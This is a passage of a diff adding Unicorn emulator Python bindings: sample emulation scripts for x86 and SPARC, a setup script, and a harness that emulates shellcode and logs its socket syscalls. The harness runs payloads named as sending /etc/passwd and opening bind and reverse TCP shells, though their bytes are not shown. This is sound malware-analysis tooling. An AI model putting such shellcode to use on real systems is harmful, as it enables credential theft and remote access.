||||
msg = "fd(%d) listened with backlog=%d" % (fd, backlog)
|
||||
fd_chains.add_log(fd, msg)
|
||||
print_sockcall(msg)
|
||||
|
||||
elif call == 5: # sys_accept
|
||||
fd = args[0]
|
||||
upeer_sockaddr = args[1]
|
||||
upeer_addrlen = args[2]
|
||||
|
||||
# print(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d" % (upeer_sockaddr, upeer_addrlen))
|
||||
|
||||
if upeer_sockaddr == 0x0:
|
||||
print_sockcall("fd(%d) accept client" % fd)
|
||||
else:
|
||||
upeer_len, = struct.unpack("<I", uc.mem_read(upeer_addrlen, 4))
|
||||
|
||||
sock_addr = uc.mem_read(upeer_sockaddr, upeer_len)
|
||||
|
||||
msg = "fd(%d) accept client with upeer=%s" % (fd, parse_sock_address(sock_addr))
|
||||
fd_chains.add_log(fd, msg)
|
||||
print_sockcall(msg)
|
||||
|
||||
elif call == 9: # sys_send
|
||||
fd = args[0]
|
||||
buff = args[1]
|
||||
length = args[2]
|
||||
flags = args[3]
|
||||
|
||||
buf = uc.mem_read(buff, length)
|
||||
msg = "fd(%d) send data=%s" % (fd, buf)
|
||||
fd_chains.add_log(fd, msg)
|
||||
print_sockcall(msg)
|
||||
|
||||
elif call == 11: # sys_receive
|
||||
fd = args[0]
|
||||
ubuf = args[1]
|
||||
size = args[2]
|
||||
flags = args[3]
|
||||
|
||||
msg = "fd(%d) is gonna receive data with size=%d flags=%d" % (fd, size, flags)
|
||||
fd_chains.add_log(fd, msg)
|
||||
print_sockcall(msg)
|
||||
|
||||
elif call == 13: # sys_shutdown
|
||||
fd = args[0]
|
||||
how = args[1]
|
||||
|
||||
msg = "fd(%d) is shutted down because of %d" % (fd, how)
|
||||
fd_chains.add_log(fd, msg)
|
||||
print_sockcall(msg)
|
||||
|
||||
# Test X86 32 bit
|
||||
def test_i386(code):
|
||||
fd_chains.clean()
|
||||
print("Emulate i386 code")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, code)
|
||||
|
||||
# initialize stack
|
||||
mu.reg_write(X86_REG_ESP, ADDRESS + 0x200000)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
# mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# handle interrupt ourself
|
||||
mu.hook_add(UC_HOOK_INTR, hook_intr)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(code))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done")
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
fd_chains.print_report()
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_i386(X86_SEND_ETCPASSWD)
|
||||
test_i386(X86_BIND_TCP)
|
||||
test_i386(X86_REVERSE_TCP)
|
||||
test_i386(X86_REVERSE_TCP_2)
|
||||
|
||||
64
bindings/python/sample_sparc.py
Executable file
64
bindings/python/sample_sparc.py
Executable file
@@ -0,0 +1,64 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for SPARC of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.sparc_const import *
|
||||
|
||||
|
||||
# code to be emulated
|
||||
SPARC_CODE = "\x86\x00\x40\x02" # add %g1, %g2, %g3;
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size))
|
||||
|
||||
|
||||
# Test SPARC
|
||||
def test_sparc():
|
||||
print("Emulate SPARC code")
|
||||
try:
|
||||
# Initialize emulator in SPARC EB mode
|
||||
mu = Uc(UC_ARCH_SPARC, UC_MODE_BIG_ENDIAN)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, SPARC_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(SPARC_REG_G1, 0x1230)
|
||||
mu.reg_write(SPARC_REG_G2, 0x6789)
|
||||
mu.reg_write(SPARC_REG_G3, 0x5555)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(SPARC_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
g3 = mu.reg_read(SPARC_REG_G3)
|
||||
print(">>> G3 = 0x%x" %g3)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_sparc()
|
||||
409
bindings/python/sample_x86.py
Executable file
409
bindings/python/sample_x86.py
Executable file
@@ -0,0 +1,409 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for X86 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.x86_const import *
|
||||
|
||||
|
||||
X86_CODE32 = b"\x41\x4a" # INC ecx; DEC dex
|
||||
X86_CODE32_LOOP = b"\x41\x4a\xeb\xfe" # INC ecx; DEC dex; JMP self-loop
|
||||
X86_CODE32_MEM_READ = b"\x8B\x0D\xAA\xAA\xAA\xAA\x41\x4a" # mov ecx,[0xaaaaaaaa]; INC ecx; DEC dex
|
||||
X86_CODE32_MEM_WRITE = b"\x89\x0D\xAA\xAA\xAA\xAA\x41\x4a" # mov [0xaaaaaaaa], ecx; INC ecx; dec edx
|
||||
X86_CODE64 = b"\x41\xBC\x3B\xB0\x28\x2A\x49\x0F\xC9\x90\x4D\x0F\xAD\xCF\x49\x87\xFD\x90\x48\x81\xD2\x8A\xCE\x77\x35\x48\xF7\xD9\x4D\x29\xF4\x49\x81\xC9\xF6\x8A\xC6\x53\x4D\x87\xED\x48\x0F\xAD\xD2\x49\xF7\xD4\x48\xF7\xE1\x4D\x19\xC5\x4D\x89\xC5\x48\xF7\xD6\x41\xB8\x4F\x8D\x6B\x59\x4D\x87\xD0\x68\x6A\x1E\x09\x3C\x59"
|
||||
X86_CODE32_INOUT = b"\x41\xE4\x3F\x4a\xE6\x46\x43" # INC ecx; IN AL, 0x3f; DEC edx; OUT 0x46, AL; INC ebx
|
||||
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x1000000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size))
|
||||
#eip = uc.reg_read(X86_REG_EIP)
|
||||
#print(">>> EIP = 0x%x" %(eip))
|
||||
|
||||
|
||||
# callback for tracing invalid memory access (READ or WRITE)
|
||||
def hook_mem_invalid(uc, access, address, size, value, user_data):
|
||||
if access == UC_MEM_WRITE:
|
||||
print(">>> Missing memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" \
|
||||
%(address, size, value))
|
||||
# map this memory in with 2MB in size
|
||||
uc.mem_map(0xaaaa0000, 2 * 1024*1024)
|
||||
# return True to indicate we want to continue emulation
|
||||
return True
|
||||
else:
|
||||
# return False to indicate we want to stop emulation
|
||||
return False
|
||||
|
||||
|
||||
# callback for tracing memory access (READ or WRITE)
|
||||
def hook_mem_access(uc, access, address, size, value, user_data):
|
||||
if access == UC_MEM_WRITE:
|
||||
print(">>> Memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" \
|
||||
%(address, size, value))
|
||||
else: # READ
|
||||
print(">>> Memory is being READ at 0x%x, data size = %u" \
|
||||
%(address, size))
|
||||
|
||||
|
||||
# callback for IN instruction
|
||||
def hook_in(uc, port, size, user_data):
|
||||
eip = uc.reg_read(X86_REG_EIP)
|
||||
print("--- reading from port 0x%x, size: %u, address: 0x%x" %(port, size, eip))
|
||||
if size == 1:
|
||||
# read 1 byte to AL
|
||||
return 0xf1
|
||||
if size == 2:
|
||||
# read 2 byte to AX
|
||||
return 0xf2
|
||||
if size == 4:
|
||||
# read 4 byte to EAX
|
||||
return 0xf4
|
||||
# we should never reach here
|
||||
return 0
|
||||
|
||||
|
||||
# callback for OUT instruction
|
||||
def hook_out(uc, port, size, value, user_data):
|
||||
eip = uc.reg_read(X86_REG_EIP)
|
||||
print("--- writing to port 0x%x, size: %u, value: 0x%x, address: 0x%x" %(port, size, value, eip))
|
||||
|
||||
# confirm that value is indeed the value of AL/AX/EAX
|
||||
v = 0
|
||||
if size == 1:
|
||||
# read 1 byte in AL
|
||||
v = uc.reg_read(X86_REG_AL)
|
||||
if size == 2:
|
||||
# read 2 bytes in AX
|
||||
v = uc.reg_read(X86_REG_AX)
|
||||
if size == 4:
|
||||
# read 4 bytes in EAX
|
||||
v = uc.reg_read(X86_REG_EAX)
|
||||
|
||||
print("--- register value = 0x%x" %v)
|
||||
|
||||
|
||||
# Test X86 32 bit
|
||||
def test_i386():
|
||||
print("Emulate i386 code")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE32)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(X86_REG_ECX, 0x1234)
|
||||
mu.reg_write(X86_REG_EDX, 0x7890)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r_ecx = mu.reg_read(X86_REG_ECX)
|
||||
r_edx = mu.reg_read(X86_REG_EDX)
|
||||
print(">>> ECX = 0x%x" %r_ecx)
|
||||
print(">>> EDX = 0x%x" %r_edx)
|
||||
|
||||
# read from memory
|
||||
tmp = mu.mem_read(ADDRESS, 2)
|
||||
print(">>> Read 2 bytes from [0x%x] =" %(ADDRESS), end="")
|
||||
for i in tmp:
|
||||
print(" 0x%x" %i, end="")
|
||||
print("")
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_i386_loop():
|
||||
print("Emulate i386 code with infinite loop - wait for 2 seconds then stop emulation")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE32_LOOP)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(X86_REG_ECX, 0x1234)
|
||||
mu.reg_write(X86_REG_EDX, 0x7890)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_LOOP), 2 * UC_SECOND_SCALE)
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r_ecx = mu.reg_read(X86_REG_ECX)
|
||||
r_edx = mu.reg_read(X86_REG_EDX)
|
||||
print(">>> ECX = 0x%x" %r_ecx)
|
||||
print(">>> EDX = 0x%x" %r_edx)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_i386_invalid_mem_read():
|
||||
print("Emulate i386 code that read from invalid memory")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE32_MEM_READ)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(X86_REG_ECX, 0x1234)
|
||||
mu.reg_write(X86_REG_EDX, 0x7890)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
try:
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_MEM_READ))
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r_ecx = mu.reg_read(X86_REG_ECX)
|
||||
r_edx = mu.reg_read(X86_REG_EDX)
|
||||
print(">>> ECX = 0x%x" %r_ecx)
|
||||
print(">>> EDX = 0x%x" %r_edx)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_i386_invalid_mem_write():
|
||||
print("Emulate i386 code that write to invalid memory")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE32_MEM_WRITE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(X86_REG_ECX, 0x1234)
|
||||
mu.reg_write(X86_REG_EDX, 0x7890)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
#mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
#mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# intercept invalid memory events
|
||||
mu.hook_add(UC_HOOK_MEM_INVALID, hook_mem_invalid)
|
||||
|
||||
try:
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_MEM_WRITE))
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r_ecx = mu.reg_read(X86_REG_ECX)
|
||||
r_edx = mu.reg_read(X86_REG_EDX)
|
||||
print(">>> ECX = 0x%x" %r_ecx)
|
||||
print(">>> EDX = 0x%x" %r_edx)
|
||||
|
||||
try:
|
||||
# read from memory
|
||||
print(">>> Read 4 bytes from [0x%x] = " %(0xaaaaaaaa), end="")
|
||||
tmp = mu.mem_read(0xaaaaaaaa, 4)
|
||||
for i in tmp:
|
||||
print(" 0x%x" %i, end="")
|
||||
print("")
|
||||
|
||||
print(">>> Read 4 bytes from [0x%x] = " %(0xffffffaa), end="")
|
||||
tmp = mu.mem_read(0xffffffaa, 4)
|
||||
for i in tmp:
|
||||
print(" 0x%x" %i, end="")
|
||||
print("")
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
# Test X86 32 bit with IN/OUT instruction
|
||||
def test_i386_inout():
|
||||
print("Emulate i386 code with IN/OUT instructions")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE32_INOUT)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(X86_REG_EAX, 0x1234)
|
||||
mu.reg_write(X86_REG_ECX, 0x6789)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# handle IN & OUT instruction
|
||||
mu.hook_add(UC_HOOK_INSN, hook_in, None, X86_INS_IN)
|
||||
mu.hook_add(UC_HOOK_INSN, hook_out, None, X86_INS_OUT)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_INOUT))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r_ecx = mu.reg_read(X86_REG_ECX)
|
||||
r_eax = mu.reg_read(X86_REG_EAX)
|
||||
print(">>> EAX = 0x%x" %r_eax)
|
||||
print(">>> ECX = 0x%x" %r_ecx)
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
def test_x86_64():
|
||||
print("Emulate x86_64 code")
|
||||
try:
|
||||
# Initialize emulator in X86-64bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_64)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, X86_CODE64)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(X86_REG_RAX, 0x71f3029efd49d41d)
|
||||
mu.reg_write(X86_REG_RBX, 0xd87b45277f133ddb)
|
||||
mu.reg_write(X86_REG_RCX, 0xab40d1ffd8afc461)
|
||||
mu.reg_write(X86_REG_RDX, 0x919317b4a733f01)
|
||||
mu.reg_write(X86_REG_RSI, 0x4c24e753a17ea358)
|
||||
mu.reg_write(X86_REG_RDI, 0xe509a57d2571ce96)
|
||||
mu.reg_write(X86_REG_R8, 0xea5b108cc2b9ab1f)
|
||||
mu.reg_write(X86_REG_R9, 0x19ec097c8eb618c1)
|
||||
mu.reg_write(X86_REG_R10, 0xec45774f00c5f682)
|
||||
mu.reg_write(X86_REG_R11, 0xe17e9dbec8c074aa)
|
||||
mu.reg_write(X86_REG_R12, 0x80f86a8dc0f6d457)
|
||||
mu.reg_write(X86_REG_R13, 0x48288ca5671c5492)
|
||||
mu.reg_write(X86_REG_R14, 0x595f72f6e4017f6e)
|
||||
mu.reg_write(X86_REG_R15, 0x1efd97aea331cccc)
|
||||
|
||||
# setup stack
|
||||
mu.reg_write(X86_REG_RSP, ADDRESS + 0x200000)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions in range [ADDRESS, ADDRESS+20]
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code, None, ADDRESS, ADDRESS+20)
|
||||
|
||||
# tracing all memory READ & WRITE access
|
||||
mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access)
|
||||
mu.hook_add(UC_HOOK_MEM_READ, hook_mem_access)
|
||||
# actually you can also use READ_WRITE to trace all memory access
|
||||
#mu.hook_add(UC_HOOK_MEM_READ_WRITE, hook_mem_access)
|
||||
|
||||
try:
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE64))
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
rax = mu.reg_read(X86_REG_RAX)
|
||||
rbx = mu.reg_read(X86_REG_RBX)
|
||||
rcx = mu.reg_read(X86_REG_RCX)
|
||||
rdx = mu.reg_read(X86_REG_RDX)
|
||||
rsi = mu.reg_read(X86_REG_RSI)
|
||||
rdi = mu.reg_read(X86_REG_RDI)
|
||||
r8 = mu.reg_read(X86_REG_R8)
|
||||
r9 = mu.reg_read(X86_REG_R9)
|
||||
r10 = mu.reg_read(X86_REG_R10)
|
||||
r11 = mu.reg_read(X86_REG_R11)
|
||||
r12 = mu.reg_read(X86_REG_R12)
|
||||
r13 = mu.reg_read(X86_REG_R13)
|
||||
r14 = mu.reg_read(X86_REG_R14)
|
||||
r15 = mu.reg_read(X86_REG_R15)
|
||||
|
||||
print(">>> RAX = %x" %rax)
|
||||
print(">>> RBX = %x" %rbx)
|
||||
print(">>> RCX = %x" %rcx)
|
||||
print(">>> RDX = %x" %rdx)
|
||||
print(">>> RSI = %x" %rsi)
|
||||
print(">>> RDI = %x" %rdi)
|
||||
print(">>> R8 = %x" %r8)
|
||||
print(">>> R9 = %x" %r9)
|
||||
print(">>> R10 = %x" %r10)
|
||||
print(">>> R11 = %x" %r11)
|
||||
print(">>> R12 = %x" %r12)
|
||||
print(">>> R13 = %x" %r13)
|
||||
print(">>> R14 = %x" %r14)
|
||||
print(">>> R15 = %x" %r15)
|
||||
|
||||
#BUG
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE64))
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_i386()
|
||||
print("=" * 20)
|
||||
test_i386_loop()
|
||||
print("=" * 20)
|
||||
test_i386_invalid_mem_read()
|
||||
print("=" * 20)
|
||||
test_i386_invalid_mem_write()
|
||||
print("=" * 20)
|
||||
test_i386_inout()
|
||||
print("=" * 20)
|
||||
test_x86_64()
|
||||
182
bindings/python/setup.py
Executable file
182
bindings/python/setup.py
Executable file
@@ -0,0 +1,182 @@
|
||||
#!/usr/bin/env python
|
||||
# Python binding for Unicorn engine. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
|
||||
import glob
|
||||
import os
|
||||
import platform
|
||||
import shutil
|
||||
import stat
|
||||
import sys
|
||||
|
||||
from distutils import log
|
||||
from distutils import dir_util
|
||||
from distutils.command.build_clib import build_clib
|
||||
from distutils.command.sdist import sdist
|
||||
from distutils.core import setup
|
||||
from distutils.sysconfig import get_python_lib
|
||||
|
||||
# prebuilt libraries for Windows - for sdist
|
||||
PATH_LIB64 = "prebuilt/win64/unicorn.dll"
|
||||
PATH_LIB32 = "prebuilt/win32/unicorn.dll"
|
||||
|
||||
# package name can be 'unicorn' or 'unicorn-windows'
|
||||
PKG_NAME = 'unicorn'
|
||||
if os.path.exists(PATH_LIB64) and os.path.exists(PATH_LIB32):
|
||||
PKG_NAME = 'unicorn-windows'
|
||||
|
||||
VERSION = '0.9'
|
||||
SYSTEM = sys.platform
|
||||
|
||||
# virtualenv breaks import, but get_python_lib() will work.
|
||||
SITE_PACKAGES = os.path.join(get_python_lib(), "unicorn")
|
||||
if "--user" in sys.argv:
|
||||
try:
|
||||
from site import getusersitepackages
|
||||
SITE_PACKAGES = os.path.join(getusersitepackages(), "unicorn")
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
|
||||
SETUP_DATA_FILES = []
|
||||
|
||||
# adapted from commit e504b81 of Nguyen Tan Cong
|
||||
# Reference: https://docs.python.org/2/library/platform.html#cross-platform
|
||||
is_64bits = sys.maxsize > 2**32
|
||||
|
||||
def copy_sources():
|
||||
"""Copy the C sources into the source directory.
|
||||
This rearranges the source files under the python distribution
|
||||
directory.
|
||||
"""
|
||||
src = []
|
||||
|
||||
try:
|
||||
dir_util.remove_tree("src/")
|
||||
except (IOError, OSError):
|
||||
pass
|
||||
|
||||
dir_util.copy_tree("../../arch", "src/arch/")
|
||||
dir_util.copy_tree("../../include", "src/include/")
|
||||
|
||||
src.extend(glob.glob("../../*.[ch]"))
|
||||
src.extend(glob.glob("../../*.mk"))
|
||||
|
||||
src.extend(glob.glob("../../Makefile"))
|
||||
src.extend(glob.glob("../../LICENSE*"))
|
||||
src.extend(glob.glob("../../README"))
|
||||
src.extend(glob.glob("../../*.TXT"))
|
||||
src.extend(glob.glob("../../RELEASE_NOTES"))
|
||||
src.extend(glob.glob("../../make.sh"))
|
||||
src.extend(glob.glob("../../CMakeLists.txt"))
|
||||
|
||||
for filename in src:
|
||||
outpath = os.path.join("./src/", os.path.basename(filename))
|
||||
log.info("%s -> %s" % (filename, outpath))
|
||||
shutil.copy(filename, outpath)
|
||||
|
||||
|
||||
class custom_sdist(sdist):
|
||||
"""Reshuffle files for distribution."""
|
||||
|
||||
def run(self):
|
||||
# if prebuilt libraries are existent, then do not copy source
|
||||
if os.path.exists(PATH_LIB64) and os.path.exists(PATH_LIB32):
|
||||
return sdist.run(self)
|
||||
copy_sources()
|
||||
return sdist.run(self)
|
||||
|
||||
|
||||
class custom_build_clib(build_clib):
|
||||
"""Customized build_clib command."""
|
||||
|
||||
def run(self):
|
||||
log.info('running custom_build_clib')
|
||||
build_clib.run(self)
|
||||
|
||||
def finalize_options(self):
|
||||
# We want build-clib to default to build-lib as defined by the "build"
|
||||
# command. This is so the compiled library will be put in the right
|
||||
# place along side the python code.
|
||||
self.set_undefined_options('build',
|
||||
('build_lib', 'build_clib'),
|
||||
('build_temp', 'build_temp'),
|
||||
('compiler', 'compiler'),
|
||||
('debug', 'debug'),
|
||||
('force', 'force'))
|
||||
|
||||
build_clib.finalize_options(self)
|
||||
|
||||
def build_libraries(self, libraries):
|
||||
if SYSTEM in ("win32", "cygwin"):
|
||||
# if Windows prebuilt library is available, then include it
|
||||
if is_64bits and os.path.exists(PATH_LIB64):
|
||||
SETUP_DATA_FILES.append(PATH_LIB64)
|
||||
return
|
||||
elif os.path.exists(PATH_LIB32):
|
||||
SETUP_DATA_FILES.append(PATH_LIB32)
|
||||
return
|
||||
|
||||
# build library from source if src/ is existent
|
||||
if not os.path.exists('src'):
|
||||
return
|
||||
|
||||
try:
|
||||
for (lib_name, build_info) in libraries:
|
||||
log.info("building '%s' library", lib_name)
|
||||
|
||||
os.chdir("src")
|
||||
|
||||
# platform description refers at https://docs.python.org/2/library/sys.html#sys.platform
|
||||
if SYSTEM == "cygwin":
|
||||
os.chmod("make.sh", stat.S_IREAD|stat.S_IEXEC)
|
||||
if is_64bits:
|
||||
os.system("UNICORN_BUILD_CORE_ONLY=yes ./make.sh cygwin-mingw64")
|
||||
else:
|
||||
os.system("UNICORN_BUILD_CORE_ONLY=yes ./make.sh cygwin-mingw32")
|
||||
SETUP_DATA_FILES.append("src/unicorn.dll")
|
||||
else: # Unix
|
||||
os.chmod("make.sh", stat.S_IREAD|stat.S_IEXEC)
|
||||
os.system("UNICORN_BUILD_CORE_ONLY=yes ./make.sh")
|
||||
if SYSTEM == "darwin":
|
||||
SETUP_DATA_FILES.append("src/libunicorn.dylib")
|
||||
else: # Non-OSX
|
||||
SETUP_DATA_FILES.append("src/libunicorn.so")
|
||||
|
||||
os.chdir("..")
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
def dummy_src():
|
||||
return []
|
||||
|
||||
|
||||
setup(
|
||||
provides=['unicorn'],
|
||||
packages=['unicorn'],
|
||||
name=PKG_NAME,
|
||||
version=VERSION,
|
||||
author='Nguyen Anh Quynh',
|
||||
author_email='aquynh@gmail.com',
|
||||
description='Unicorn CPU emulator engine',
|
||||
url='http://www.unicorn-engine.org',
|
||||
classifiers=[
|
||||
'License :: OSI Approved :: BSD License',
|
||||
'Programming Language :: Python :: 2',
|
||||
'Programming Language :: Python :: 3',
|
||||
],
|
||||
requires=['ctypes'],
|
||||
cmdclass=dict(
|
||||
build_clib=custom_build_clib,
|
||||
sdist=custom_sdist,
|
||||
),
|
||||
|
||||
libraries=[(
|
||||
'unicorn', dict(
|
||||
package='unicorn',
|
||||
sources=dummy_src()
|
||||
),
|
||||
)],
|
||||
|
||||
data_files=[(SITE_PACKAGES, SETUP_DATA_FILES)],
|
||||
)
|
||||
110
bindings/python/shellcode.py
Executable file
110
bindings/python/shellcode.py
Executable file
@@ -0,0 +1,110 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for X86 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.x86_const import *
|
||||
|
||||
|
||||
X86_CODE32 = b"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f"
|
||||
|
||||
